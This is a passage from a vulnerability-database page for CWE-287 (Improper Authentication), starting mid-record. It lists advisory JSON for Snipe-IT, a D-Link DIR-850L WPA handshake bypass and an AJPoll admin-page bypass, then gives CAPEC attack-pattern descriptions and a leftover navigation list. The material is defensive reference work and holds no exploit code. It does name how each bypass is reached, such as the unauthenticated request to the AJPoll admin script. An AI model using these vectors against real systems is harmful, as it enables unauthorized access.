      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3173"
    },
    {
      "type": "WEB",
      "url": "https://github.com/snipe/snipe-it/commit/dcab1381e7ee0b7fd1df3a34750dbff4b79185b2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/snipe/snipe-it"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/6d8ffcc6-c6e3-4385-8ead-bdbbbacf79e9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Snipe-IT vulnerable to Improper Authentication"
}

GHSA-FJ7H-V25Q-FVPR

Vulnerability from github – Published: 2022-06-17 00:01 – Updated: 2022-06-29 00:00

Details

An issue was discovered on D-Link DIR-850L 1.21WW devices. A partially completed WPA handshake is sufficient for obtaining full access to the wireless network. A client can access the network by sending packets on Data Frames to the AP without encryption.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-18907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-16T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on D-Link DIR-850L 1.21WW devices. A partially completed WPA handshake is sufficient for obtaining full access to the wireless network. A client can access the network by sending packets on Data Frames to the AP without encryption.",
  "id": "GHSA-fj7h-v25q-fvpr",
  "modified": "2022-06-29T00:00:25Z",
  "published": "2022-06-17T00:01:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18907"
    },
    {
      "type": "WEB",
      "url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10097"
    },
    {
      "type": "WEB",
      "url": "https://www.synopsys.com/blogs/software-security/wpa2-encryption-bypass-defensics-fuzzing"
    },
    {
      "type": "WEB",
      "url": "http://us.dlink.com/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJ83-J657-QPV5

Vulnerability from github – Published: 2022-05-17 05:52 – Updated: 2022-05-17 05:52

Details

AJ Square Free Polling Script (AJPoll) allows remote attackers to bypass authentication and create new polls via a direct request to admin/include/newpoll.php, a different vector than CVE-2008-7045. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2008-7046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-08-24T10:30:00Z",
    "severity": "MODERATE"
  },
  "details": "AJ Square Free Polling Script (AJPoll) allows remote attackers to bypass authentication and create new polls via a direct request to admin/include/newpoll.php, a different vector than CVE-2008-7045. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
  "id": "GHSA-fj83-j657-qpv5",
  "modified": "2022-05-17T05:52:20Z",
  "published": "2022-05-17T05:52:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-7046"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/49779"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/32600"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation

Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list

CWE-287

Improper Authentication

Advisory

Affected versions

Original Report

Summary

Details & Impact

Issue 1: $JS.API.ACCOUNT.PURGE.*

Issue 2: $JS.API.SERVER.REMOVE

Issue 3: $JS.API.ACCOUNT.STREAM.MOVE.*.* and CANCEL_MOVE

Mitigations

Scope of impact

Additional notes

PoC

Environment

Reproduction steps

Summary

Impact

Details

Patches

Workarounds

Mitigation

CAPEC-114: Authentication Abuse

CAPEC-115: Authentication Bypass

CAPEC-151: Identity Spoofing

CAPEC-194: Fake the Source of Data

CAPEC-22: Exploiting Trust in Client

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

CAPEC-593: Session Hijacking

CAPEC-633: Token Impersonation

CAPEC-650: Upload a Web Shell to a Web Server

CAPEC-94: Adversary in the Middle (AiTM)

Issue 1: `$JS.API.ACCOUNT.PURGE.*`

Issue 2: `$JS.API.SERVER.REMOVE`

Issue 3: `$JS.API.ACCOUNT.STREAM.MOVE..` and `CANCEL_MOVE`